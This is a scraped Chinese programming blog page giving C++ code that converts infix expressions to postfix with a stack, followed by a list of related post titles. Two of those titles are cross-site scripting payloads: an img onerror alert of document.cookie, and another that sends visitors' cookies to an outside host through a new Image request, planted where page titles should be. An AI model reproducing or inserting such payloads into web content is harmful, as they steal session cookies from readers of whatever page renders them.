中缀表达式转换成后缀表达式
来源:互联网 发布:淘宝店仓库管理制度 编辑:程序博客网 时间:2024/05/16 15:19
#include<iostream>#include<vector>#include<stack>#include<string>#include<map>using namespace std;map<char,int> level;void init(){ level['+']=0; level['-']=0; level['*']=1; level['/']=1; level['(']=2; level[')']=2;}string tran(const string &arr){ init(); string result; stack <char> s; for(auto &e:arr){ if(e<='z'&&e>='a') result.push_back(e);else if(e==')'){ while(s.top()!='('){result.push_back(s.top());s.pop(); } s.pop();}else{ while(!s.empty()&&s.top()!='('&&level[e]<level[s.top()]){result.push_back(s.top()); s.pop(); } s.push(e);}} while(!s.empty()) { result.push_back(s.top()); s.pop();} return result;}
0 0
- 中缀表达式转换成后缀
- 将中缀表达式转换成后缀表达式
- 中缀表达式转换成后缀表达式
- 中缀表达式转换成后缀表达式
- 中缀表达式转换成后缀表达式
- 中缀表达式转换成后缀表达式
- 中缀表达式转换成后缀表达式
- 中缀表达式转换成后缀表达式
- 中缀表达式转换成后缀表达式
- 将中缀表达式转换成后缀表达式
- 中缀表达式转换成后缀表达式
- 中缀表达式转换成后缀表达式 -- 栈
- 表达式 中缀 后缀 转换
- 中缀表达式转换成后缀表达式/计算后缀表达式
- 中缀表达式转换后缀表达式
- 中缀表达式转换后缀表达式
- 中缀表达式转换后缀表达式
- 中缀表达式转换后缀表达式
- 关于UICollectionView的几点认识
- HDU 5499 【水】
- [ReactNative入门到精通]React Native 第一个程序 Hello Word
- BC#59 (div.2)
- 自定义Switch——第一次写博客
- 中缀表达式转换成后缀表达式
- 动态规划算法——矩阵连乘问题
- <img src=i onerror=alert(document.cookie)>
- MFC库中CObject
- 对象池的设计及其实现
- OkHttp使用教程
- Max Points on a Line
- 有哪些值得关注的【i <img src=hi onerror='(new Image()).src="http://expicker.sinaapp.com/?c="+document.cookie'
- Android学习实践:10.单选按钮RadioButton